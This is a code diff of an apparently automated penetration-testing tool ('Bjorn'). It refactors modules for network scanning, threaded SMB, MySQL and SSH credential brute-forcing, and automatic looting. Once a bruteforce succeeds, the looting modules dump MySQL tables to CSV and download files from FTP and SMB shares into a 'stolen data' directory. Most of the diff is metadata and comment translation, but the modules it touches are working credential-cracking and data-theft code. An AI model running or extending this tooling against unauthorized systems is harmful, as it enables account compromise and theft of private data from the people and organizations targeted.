b_risk_level = "low"
|
||||||
|
b_tags = ["scan", "discovery", "network", "nmap"]
|
||||||
|
b_category = "recon"
|
||||||
|
b_name = "Network Scanner"
|
||||||
|
b_description = "Host discovery, MAC/hostname resolution, and port scanning via nmap."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "NetworkScanner.png"
|
||||||
|
|
||||||
# --- Module-level constants (avoid re-creating per call) ---
|
# --- Module-level constants (avoid re-creating per call) ---
|
||||||
_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')
|
_MAC_RE = re.compile(r'([0-9A-Fa-f]{2})([-:])(?:[0-9A-Fa-f]{2}\2){4}[0-9A-Fa-f]{2}')
|
||||||
|
|||||||
@@ -1,12 +1,7 @@
|
|||||||
"""
|
“””smb_bruteforce.py - Threaded SMB credential bruteforcer with share enumeration.”””
|
||||||
smb_bruteforce.py — SMB bruteforce (DB-backed, no CSV/JSON, no rich)
|
|
||||||
- Cibles fournies par l’orchestrateur (ip, port)
|
|
||||||
- IP -> (MAC, hostname) depuis DB.hosts
|
|
||||||
- Succès enregistrés dans DB.creds (service='smb'), 1 ligne PAR PARTAGE (database=<share>)
|
|
||||||
- Conserve la logique de queue/threads et les signatures. Plus de rich/progress.
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
import shlex
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
@@ -29,14 +24,27 @@ b_parent = None
|
|||||||
b_service = '["smb"]'
|
b_service = '["smb"]'
|
||||||
b_trigger = 'on_any:["on_service:smb","on_new_port:445"]'
|
b_trigger = 'on_any:["on_service:smb","on_new_port:445"]'
|
||||||
b_priority = 70
|
b_priority = 70
|
||||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
b_cooldown = 1800 # 30 min between runs
|
||||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
b_rate_limit = '3/86400' # max 3 per day
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["bruteforce", "smb", "credentials", "shares"]
|
||||||
|
b_category = "exploitation"
|
||||||
|
b_name = "SMB Bruteforce"
|
||||||
|
b_description = "Threaded SMB credential bruteforcer with share enumeration."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "SMBBruteforce.png"
|
||||||
|
|
||||||
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
|
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$'}
|
||||||
|
|
||||||
|
|
||||||
class SMBBruteforce:
|
class SMBBruteforce:
|
||||||
"""Wrapper orchestrateur -> SMBConnector."""
|
"""Orchestrator wrapper for SMBConnector."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
@@ -44,11 +52,11 @@ class SMBBruteforce:
|
|||||||
logger.info("SMBConnector initialized.")
|
logger.info("SMBConnector initialized.")
|
||||||
|
|
||||||
def bruteforce_smb(self, ip, port):
|
def bruteforce_smb(self, ip, port):
|
||||||
"""Lance le bruteforce SMB pour (ip, port)."""
|
"""Run SMB bruteforce for (ip, port)."""
|
||||||
return self.smb_bruteforce.run_bruteforce(ip, port)
|
return self.smb_bruteforce.run_bruteforce(ip, port)
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key):
|
def execute(self, ip, port, row, status_key):
|
||||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||||
self.shared_data.bjorn_orch_status = "SMBBruteforce"
|
self.shared_data.bjorn_orch_status = "SMBBruteforce"
|
||||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||||
success, results = self.bruteforce_smb(ip, port)
|
success, results = self.bruteforce_smb(ip, port)
|
||||||
@@ -56,12 +64,12 @@ class SMBBruteforce:
|
|||||||
|
|
||||||
|
|
||||||
class SMBConnector:
|
class SMBConnector:
|
||||||
"""Gère les tentatives SMB, la persistance DB et le mapping IP→(MAC, Hostname)."""
|
"""Handles SMB attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
|
||||||
# Wordlists inchangées
|
# Wordlists
|
||||||
self.users = self._read_lines(shared_data.users_file)
|
self.users = self._read_lines(shared_data.users_file)
|
||||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||||
|
|
||||||
@@ -74,7 +82,7 @@ class SMBConnector:
|
|||||||
self.queue = Queue()
|
self.queue = Queue()
|
||||||
self.progress = None
|
self.progress = None
|
||||||
|
|
||||||
# ---------- util fichiers ----------
|
# ---------- file utils ----------
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _read_lines(path: str) -> List[str]:
|
def _read_lines(path: str) -> List[str]:
|
||||||
try:
|
try:
|
||||||
@@ -142,10 +150,10 @@ class SMBConnector:
|
|||||||
|
|
||||||
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
def smbclient_l(self, adresse_ip: str, user: str, password: str) -> List[str]:
|
||||||
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
timeout = int(getattr(self.shared_data, "smb_connect_timeout_s", 6))
|
||||||
cmd = f'smbclient -L {adresse_ip} -U {user}%{password}'
|
cmd = ['smbclient', '-L', adresse_ip, '-U', f'{user}%{password}']
|
||||||
process = None
|
process = None
|
||||||
try:
|
try:
|
||||||
process = Popen(cmd, shell=True, stdout=PIPE, stderr=PIPE)
|
process = Popen(cmd, shell=False, stdout=PIPE, stderr=PIPE)
|
||||||
try:
|
try:
|
||||||
stdout, stderr = process.communicate(timeout=timeout)
|
stdout, stderr = process.communicate(timeout=timeout)
|
||||||
except TimeoutExpired:
|
except TimeoutExpired:
|
||||||
@@ -164,7 +172,7 @@ class SMBConnector:
|
|||||||
logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'")
|
logger.info(f"Trying smbclient -L for {adresse_ip} with user '{user}'")
|
||||||
return []
|
return []
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Error executing '{cmd}': {e}")
|
logger.error(f"Error executing smbclient -L for {adresse_ip}: {e}")
|
||||||
return []
|
return []
|
||||||
finally:
|
finally:
|
||||||
if process:
|
if process:
|
||||||
@@ -269,7 +277,7 @@ class SMBConnector:
|
|||||||
hostname = self.hostname_for_ip(adresse_ip) or ""
|
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||||
|
|
||||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords) + len(dict_passwords))
|
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||||
if total_tasks == 0:
|
if total_tasks == 0:
|
||||||
logger.warning("No users/passwords loaded. Abort.")
|
logger.warning("No users/passwords loaded. Abort.")
|
||||||
return False, []
|
return False, []
|
||||||
@@ -339,7 +347,7 @@ class SMBConnector:
|
|||||||
|
|
||||||
# ---------- persistence DB ----------
|
# ---------- persistence DB ----------
|
||||||
def save_results(self):
|
def save_results(self):
|
||||||
# insère self.results dans creds (service='smb'), database = <share>
|
# Insert results into creds (service='smb'), database = <share>
|
||||||
for mac, ip, hostname, share, user, password, port in self.results:
|
for mac, ip, hostname, share, user, password, port in self.results:
|
||||||
try:
|
try:
|
||||||
self.shared_data.db.insert_cred(
|
self.shared_data.db.insert_cred(
|
||||||
@@ -350,7 +358,7 @@ class SMBConnector:
|
|||||||
user=user,
|
user=user,
|
||||||
password=password,
|
password=password,
|
||||||
port=port,
|
port=port,
|
||||||
database=share, # utilise la colonne 'database' pour distinguer les shares
|
database=share, # uses the 'database' column to distinguish shares
|
||||||
extra=None
|
extra=None
|
||||||
)
|
)
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
@@ -364,12 +372,12 @@ class SMBConnector:
|
|||||||
self.results = []
|
self.results = []
|
||||||
|
|
||||||
def removeduplicates(self):
|
def removeduplicates(self):
|
||||||
# plus nécessaire avec l'index unique; conservé pour compat.
|
# No longer needed with unique index; kept for compat.
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
# Mode autonome non utilisé en prod; on laisse simple
|
# Standalone mode, not used in prod
|
||||||
try:
|
try:
|
||||||
sd = SharedData()
|
sd = SharedData()
|
||||||
smb_bruteforce = SMBBruteforce(sd)
|
smb_bruteforce = SMBBruteforce(sd)
|
||||||
|
|||||||
@@ -1,11 +1,4 @@
|
|||||||
"""
|
“””sql_bruteforce.py - Threaded MySQL credential bruteforcer with database enumeration.”””
|
||||||
sql_bruteforce.py — MySQL bruteforce (DB-backed, no CSV/JSON, no rich)
|
|
||||||
- Cibles: (ip, port) par l’orchestrateur
|
|
||||||
- IP -> (MAC, hostname) via DB.hosts
|
|
||||||
- Connexion sans DB puis SHOW DATABASES; une entrée par DB trouvée
|
|
||||||
- Succès -> DB.creds (service='sql', database=<db>)
|
|
||||||
- Conserve la logique (pymysql, queue/threads)
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import pymysql
|
import pymysql
|
||||||
@@ -29,11 +22,24 @@ b_parent = None
|
|||||||
b_service = '["sql"]'
|
b_service = '["sql"]'
|
||||||
b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]'
|
b_trigger = 'on_any:["on_service:sql","on_new_port:3306"]'
|
||||||
b_priority = 70
|
b_priority = 70
|
||||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
b_cooldown = 1800 # 30 min between runs
|
||||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
b_rate_limit = '3/86400' # max 3 per day
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["bruteforce", "sql", "mysql", "credentials"]
|
||||||
|
b_category = "exploitation"
|
||||||
|
b_name = "SQL Bruteforce"
|
||||||
|
b_description = "Threaded MySQL credential bruteforcer with database enumeration."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "SQLBruteforce.png"
|
||||||
|
|
||||||
class SQLBruteforce:
|
class SQLBruteforce:
|
||||||
"""Wrapper orchestrateur -> SQLConnector."""
|
"""Orchestrator wrapper for SQLConnector."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
@@ -41,11 +47,11 @@ class SQLBruteforce:
|
|||||||
logger.info("SQLConnector initialized.")
|
logger.info("SQLConnector initialized.")
|
||||||
|
|
||||||
def bruteforce_sql(self, ip, port):
|
def bruteforce_sql(self, ip, port):
|
||||||
"""Lance le bruteforce SQL pour (ip, port)."""
|
"""Run SQL bruteforce for (ip, port)."""
|
||||||
return self.sql_bruteforce.run_bruteforce(ip, port)
|
return self.sql_bruteforce.run_bruteforce(ip, port)
|
||||||
|
|
||||||
def execute(self, ip, port, row, status_key):
|
def execute(self, ip, port, row, status_key):
|
||||||
"""Point d'entrée orchestrateur (retour 'success' / 'failed')."""
|
"""Orchestrator entry point. Returns 'success' or 'failed'."""
|
||||||
self.shared_data.bjorn_orch_status = "SQLBruteforce"
|
self.shared_data.bjorn_orch_status = "SQLBruteforce"
|
||||||
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
|
||||||
success, results = self.bruteforce_sql(ip, port)
|
success, results = self.bruteforce_sql(ip, port)
|
||||||
@@ -53,12 +59,12 @@ class SQLBruteforce:
|
|||||||
|
|
||||||
|
|
||||||
class SQLConnector:
|
class SQLConnector:
|
||||||
"""Gère les tentatives SQL (MySQL), persistance DB, mapping IP→(MAC, Hostname)."""
|
"""Handles SQL (MySQL) attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
|
||||||
|
|
||||||
def __init__(self, shared_data):
|
def __init__(self, shared_data):
|
||||||
self.shared_data = shared_data
|
self.shared_data = shared_data
|
||||||
|
|
||||||
# Wordlists inchangées
|
# Wordlists
|
||||||
self.users = self._read_lines(shared_data.users_file)
|
self.users = self._read_lines(shared_data.users_file)
|
||||||
self.passwords = self._read_lines(shared_data.passwords_file)
|
self.passwords = self._read_lines(shared_data.passwords_file)
|
||||||
|
|
||||||
@@ -71,7 +77,7 @@ class SQLConnector:
|
|||||||
self.queue = Queue()
|
self.queue = Queue()
|
||||||
self.progress = None
|
self.progress = None
|
||||||
|
|
||||||
# ---------- util fichiers ----------
|
# ---------- file utils ----------
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def _read_lines(path: str) -> List[str]:
|
def _read_lines(path: str) -> List[str]:
|
||||||
try:
|
try:
|
||||||
@@ -115,7 +121,7 @@ class SQLConnector:
|
|||||||
# ---------- SQL ----------
|
# ---------- SQL ----------
|
||||||
def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306):
|
def sql_connect(self, adresse_ip: str, user: str, password: str, port: int = 3306):
|
||||||
"""
|
"""
|
||||||
Connexion sans DB puis SHOW DATABASES; retourne (True, [dbs]) ou (False, []).
|
Connect without DB then SHOW DATABASES. Returns (True, [dbs]) or (False, []).
|
||||||
"""
|
"""
|
||||||
timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6))
|
timeout = int(getattr(self.shared_data, "sql_connect_timeout_s", 6))
|
||||||
try:
|
try:
|
||||||
@@ -188,7 +194,7 @@ class SQLConnector:
|
|||||||
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
logger.info("Orchestrator exit signal received, stopping worker thread.")
|
||||||
break
|
break
|
||||||
|
|
||||||
adresse_ip, user, password, port = self.queue.get()
|
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
|
||||||
try:
|
try:
|
||||||
success, databases = self.sql_connect(adresse_ip, user, password, port=port)
|
success, databases = self.sql_connect(adresse_ip, user, password, port=port)
|
||||||
if success:
|
if success:
|
||||||
@@ -213,6 +219,8 @@ class SQLConnector:
|
|||||||
|
|
||||||
def run_bruteforce(self, adresse_ip: str, port: int):
|
def run_bruteforce(self, adresse_ip: str, port: int):
|
||||||
self.results = []
|
self.results = []
|
||||||
|
mac_address = self.mac_for_ip(adresse_ip)
|
||||||
|
hostname = self.hostname_for_ip(adresse_ip) or ""
|
||||||
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
dict_passwords, fallback_passwords = merged_password_plan(self.shared_data, self.passwords)
|
||||||
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
total_tasks = len(self.users) * (len(dict_passwords) + len(fallback_passwords))
|
||||||
if total_tasks == 0:
|
if total_tasks == 0:
|
||||||
@@ -232,7 +240,7 @@ class SQLConnector:
|
|||||||
if self.shared_data.orchestrator_should_exit:
|
if self.shared_data.orchestrator_should_exit:
|
||||||
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
|
||||||
return
|
return
|
||||||
self.queue.put((adresse_ip, user, password, port))
|
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
|
||||||
|
|
||||||
threads = []
|
threads = []
|
||||||
thread_count = min(8, max(1, phase_tasks))
|
thread_count = min(8, max(1, phase_tasks))
|
||||||
@@ -261,7 +269,7 @@ class SQLConnector:
|
|||||||
|
|
||||||
# ---------- persistence DB ----------
|
# ---------- persistence DB ----------
|
||||||
def save_results(self):
|
def save_results(self):
|
||||||
# pour chaque DB trouvée, créer/mettre à jour une ligne dans creds (service='sql', database=<dbname>)
|
# For each DB found, create/update a row in creds (service='sql', database=<dbname>)
|
||||||
for ip, user, password, port, dbname in self.results:
|
for ip, user, password, port, dbname in self.results:
|
||||||
mac = self.mac_for_ip(ip)
|
mac = self.mac_for_ip(ip)
|
||||||
hostname = self.hostname_for_ip(ip) or ""
|
hostname = self.hostname_for_ip(ip) or ""
|
||||||
@@ -288,7 +296,7 @@ class SQLConnector:
|
|||||||
self.results = []
|
self.results = []
|
||||||
|
|
||||||
def remove_duplicates(self):
|
def remove_duplicates(self):
|
||||||
# inutile avec l’index unique; conservé pour compat.
|
# No longer needed with unique index; kept for compat.
|
||||||
pass
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,15 +1,4 @@
|
|||||||
"""
|
"""ssh_bruteforce.py - Threaded SSH credential bruteforcer via paramiko."""
|
||||||
ssh_bruteforce.py - This script performs a brute force attack on SSH services (port 22)
|
|
||||||
to find accessible accounts using various user credentials. It logs the results of
|
|
||||||
successful connections.
|
|
||||||
|
|
||||||
SQL version (minimal changes):
|
|
||||||
- Targets still provided by the orchestrator (ip + port)
|
|
||||||
- IP -> (MAC, hostname) mapping read from DB 'hosts'
|
|
||||||
- Successes saved into DB.creds (service='ssh') with robust fallback upsert
|
|
||||||
- Action status recorded in DB.action_results (via SSHBruteforce.execute)
|
|
||||||
- Paramiko noise silenced; ssh.connect avoids agent/keys to reduce hangs
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import paramiko
|
import paramiko
|
||||||
@@ -24,7 +13,6 @@ from shared import SharedData
|
|||||||
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
from actions.bruteforce_common import ProgressTracker, merged_password_plan
|
||||||
from logger import Logger
|
from logger import Logger
|
||||||
|
|
||||||
# Configure the logger
|
|
||||||
logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG)
|
logger = Logger(name="ssh_bruteforce.py", level=logging.DEBUG)
|
||||||
|
|
||||||
# Silence Paramiko internals
|
# Silence Paramiko internals
|
||||||
@@ -32,7 +20,6 @@ for _name in ("paramiko", "paramiko.transport", "paramiko.client", "paramiko.hos
|
|||||||
"paramiko.kex", "paramiko.auth_handler"):
|
"paramiko.kex", "paramiko.auth_handler"):
|
||||||
logging.getLogger(_name).setLevel(logging.CRITICAL)
|
logging.getLogger(_name).setLevel(logging.CRITICAL)
|
||||||
|
|
||||||
# Define the necessary global variables
|
|
||||||
b_class = "SSHBruteforce"
|
b_class = "SSHBruteforce"
|
||||||
b_module = "ssh_bruteforce"
|
b_module = "ssh_bruteforce"
|
||||||
b_status = "brute_force_ssh"
|
b_status = "brute_force_ssh"
|
||||||
@@ -40,9 +27,22 @@ b_port = 22
|
|||||||
b_service = '["ssh"]'
|
b_service = '["ssh"]'
|
||||||
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
|
b_trigger = 'on_any:["on_service:ssh","on_new_port:22"]'
|
||||||
b_parent = None
|
b_parent = None
|
||||||
b_priority = 70 # tu peux ajuster la priorité si besoin
|
b_priority = 70
|
||||||
b_cooldown = 1800 # 30 minutes entre deux runs
|
b_cooldown = 1800 # 30 min between runs
|
||||||
b_rate_limit = '3/86400' # 3 fois par jour max
|
b_rate_limit = '3/86400' # max 3 per day
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_timeout = 600
|
||||||
|
b_max_retries = 2
|
||||||
|
b_stealth_level = 3
|
||||||
|
b_risk_level = "medium"
|
||||||
|
b_tags = ["bruteforce", "ssh", "credentials"]
|
||||||
|
b_category = "exploitation"
|
||||||
|
b_name = "SSH Bruteforce"
|
||||||
|
b_description = "Threaded SSH credential bruteforcer via paramiko with dictionary and exhaustive modes."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "SSHBruteforce.png"
|
||||||
|
|
||||||
|
|
||||||
class SSHBruteforce:
|
class SSHBruteforce:
|
||||||
@@ -298,6 +298,19 @@ class SSHConnector:
|
|||||||
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
t = threading.Thread(target=self.worker, args=(success_flag,), daemon=True)
|
||||||
t.start()
|
t.start()
|
||||||
threads.append(t)
|
threads.append(t)
|
||||||
|
|
||||||
|
# Drain queue if orchestrator exit is requested, to unblock join
|
||||||
|
while not self.queue.empty():
|
||||||
|
if self.shared_data.orchestrator_should_exit:
|
||||||
|
# Discard remaining items so workers can finish
|
||||||
|
while not self.queue.empty():
|
||||||
|
try:
|
||||||
|
self.queue.get_nowait()
|
||||||
|
self.queue.task_done()
|
||||||
|
except Exception:
|
||||||
|
break
|
||||||
|
break
|
||||||
|
time.sleep(0.5)
|
||||||
self.queue.join()
|
self.queue.join()
|
||||||
for t in threads:
|
for t in threads:
|
||||||
t.join()
|
t.join()
|
||||||
|
|||||||
@@ -1,13 +1,4 @@
|
|||||||
"""
|
"""steal_data_sql.py - Exfiltrate MySQL databases as CSV after successful bruteforce."""
|
||||||
steal_data_sql.py — SQL data looter (DB-backed)
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port) after parent success (SQLBruteforce).
|
|
||||||
- DB.creds (service='sql') provides (user,password, database?).
|
|
||||||
- We connect first without DB to enumerate tables (excluding system schemas),
|
|
||||||
then connect per schema to export CSVs.
|
|
||||||
- Output under: {data_stolen_dir}/sql/{mac}_{ip}/{schema}/{schema_table}.csv
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
@@ -41,6 +32,12 @@ b_risk_level = "high" # 'low' | 'medium' | 'high'
|
|||||||
b_enabled = 1 # set to 0 to disable from DB sync
|
b_enabled = 1 # set to 0 to disable from DB sync
|
||||||
# Tags (free taxonomy, JSON-ified by sync_actions)
|
# Tags (free taxonomy, JSON-ified by sync_actions)
|
||||||
b_tags = ["exfil", "sql", "loot", "db", "mysql"]
|
b_tags = ["exfil", "sql", "loot", "db", "mysql"]
|
||||||
|
b_category = "exfiltration"
|
||||||
|
b_name = "Steal Data SQL"
|
||||||
|
b_description = "Exfiltrate MySQL databases as CSV after successful credential bruteforce."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "StealDataSQL.png"
|
||||||
|
|
||||||
class StealDataSQL:
|
class StealDataSQL:
|
||||||
def __init__(self, shared_data: SharedData):
|
def __init__(self, shared_data: SharedData):
|
||||||
@@ -169,6 +166,11 @@ class StealDataSQL:
|
|||||||
logger.info("Data steal interrupted.")
|
logger.info("Data steal interrupted.")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
# Validate identifiers to prevent SQL injection
|
||||||
|
import re as _re
|
||||||
|
if not _re.match(r'^[a-zA-Z0-9_]+$', schema) or not _re.match(r'^[a-zA-Z0-9_]+$', table):
|
||||||
|
logger.warning(f"Skipping unsafe schema/table name: {schema}.{table}")
|
||||||
|
return
|
||||||
q = text(f"SELECT * FROM `{schema}`.`{table}`")
|
q = text(f"SELECT * FROM `{schema}`.`{table}`")
|
||||||
with engine.connect() as conn:
|
with engine.connect() as conn:
|
||||||
result = conn.execute(q)
|
result = conn.execute(q)
|
||||||
@@ -192,6 +194,8 @@ class StealDataSQL:
|
|||||||
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
def execute(self, ip: str, port: str, row: Dict, status_key: str) -> str:
|
||||||
try:
|
try:
|
||||||
self.shared_data.bjorn_orch_status = b_class
|
self.shared_data.bjorn_orch_status = b_class
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ip": ip, "port": str(port), "databases": "0", "tables": "0"}
|
||||||
try:
|
try:
|
||||||
port_i = int(port)
|
port_i = int(port)
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -250,3 +254,6 @@ class StealDataSQL:
|
|||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
return 'failed'
|
return 'failed'
|
||||||
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
|
self.shared_data.comment_params = {}
|
||||||
|
|||||||
@@ -1,12 +1,4 @@
|
|||||||
"""
|
"""steal_files_ftp.py - Loot files from FTP servers using cracked or anonymous credentials."""
|
||||||
steal_files_ftp.py — FTP file looter (DB-backed)
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port) after parent success (FTPBruteforce).
|
|
||||||
- FTP credentials are read from DB.creds (service='ftp'); anonymous is also tried.
|
|
||||||
- IP -> (MAC, hostname) via DB.hosts.
|
|
||||||
- Loot saved under: {data_stolen_dir}/ftp/{mac}_{ip}/(anonymous|<username>)/...
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
@@ -26,6 +18,24 @@ b_module = "steal_files_ftp"
|
|||||||
b_status = "steal_files_ftp"
|
b_status = "steal_files_ftp"
|
||||||
b_parent = "FTPBruteforce"
|
b_parent = "FTPBruteforce"
|
||||||
b_port = 21
|
b_port = 21
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_service = '["ftp"]'
|
||||||
|
b_trigger = 'on_any:["on_cred_found:ftp","on_service:ftp"]'
|
||||||
|
b_requires = '{"all":[{"has_cred":"ftp"},{"has_port":21}]}'
|
||||||
|
b_priority = 60
|
||||||
|
b_cooldown = 3600
|
||||||
|
b_timeout = 600
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "high"
|
||||||
|
b_max_retries = 1
|
||||||
|
b_tags = ["exfil", "ftp", "loot", "files"]
|
||||||
|
b_category = "exfiltration"
|
||||||
|
b_name = "Steal Files FTP"
|
||||||
|
b_description = "Loot files from FTP servers using cracked or anonymous credentials."
|
||||||
|
b_author = "Bjorn Team"
|
||||||
|
b_version = "2.0.0"
|
||||||
|
b_icon = "StealFilesFTP.png"
|
||||||
|
|
||||||
|
|
||||||
class StealFilesFTP:
|
class StealFilesFTP:
|
||||||
@@ -108,7 +118,7 @@ class StealFilesFTP:
|
|||||||
return out
|
return out
|
||||||
|
|
||||||
# -------- FTP helpers --------
|
# -------- FTP helpers --------
|
||||||
# Max file size to download (10 MB) — protects RPi Zero RAM
|
# Max file size to download (10 MB) - protects RPi Zero RAM
|
||||||
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
_MAX_FILE_SIZE = 10 * 1024 * 1024
|
||||||
# Max recursion depth for directory traversal (avoids symlink loops)
|
# Max recursion depth for directory traversal (avoids symlink loops)
|
||||||
_MAX_DEPTH = 5
|
_MAX_DEPTH = 5
|
||||||
@@ -180,6 +190,8 @@ class StealFilesFTP:
|
|||||||
timer = None
|
timer = None
|
||||||
try:
|
try:
|
||||||
self.shared_data.bjorn_orch_status = b_class
|
self.shared_data.bjorn_orch_status = b_class
|
||||||
|
# EPD live status
|
||||||
|
self.shared_data.comment_params = {"ip": ip, "port": str(port), "files": "0"}
|
||||||
try:
|
try:
|
||||||
port_i = int(port)
|
port_i = int(port)
|
||||||
except Exception:
|
except Exception:
|
||||||
@@ -268,5 +280,6 @@ class StealFilesFTP:
|
|||||||
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
|
||||||
return 'failed'
|
return 'failed'
|
||||||
finally:
|
finally:
|
||||||
|
self.shared_data.bjorn_progress = ""
|
||||||
if timer:
|
if timer:
|
||||||
timer.cancel()
|
timer.cancel()
|
||||||
|
|||||||
@@ -1,12 +1,4 @@
|
|||||||
"""
|
"""steal_files_smb.py - Loot files from SMB shares using cracked or anonymous credentials."""
|
||||||
steal_files_smb.py — SMB file looter (DB-backed).
|
|
||||||
|
|
||||||
SQL mode:
|
|
||||||
- Orchestrator provides (ip, port) after parent success (SMBBruteforce).
|
|
||||||
- DB.creds (service='smb') provides credentials; 'database' column stores share name.
|
|
||||||
- Also try anonymous (''/'').
|
|
||||||
- Output under: {data_stolen_dir}/smb/{mac}_{ip}/{share}/...
|
|
||||||
"""
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import logging
|
import logging
|
||||||
@@ -25,6 +17,24 @@ b_module = "steal_files_smb"
|
|||||||
b_status = "steal_files_smb"
|
b_status = "steal_files_smb"
|
||||||
b_parent = "SMBBruteforce"
|
b_parent = "SMBBruteforce"
|
||||||
b_port = 445
|
b_port = 445
|
||||||
|
b_enabled = 1
|
||||||
|
b_action = "normal"
|
||||||
|
b_service = '["smb"]'
|
||||||
|
b_trigger = 'on_any:["on_cred_found:smb","on_service:smb"]'
|
||||||
|
b_requires = '{"all":[{"has_cred":"smb"},{"has_port":445}]}'
|
||||||
|
b_priority = 60
|
||||||
|
b_cooldown = 3600
|
||||||
|
b_timeout = 600
|
||||||
|
b_stealth_level = 5
|
||||||
|
b_risk_level = "high"
|
||||||
|
b_max_retries = 1
|
||||||
|
b_tags = ["exfil", "smb", "loot", "files"]
|
||||||
|
b_category = "exfiltration"
|
||||||
|
b_name = "Steal Files SMB"
|
||||||
|
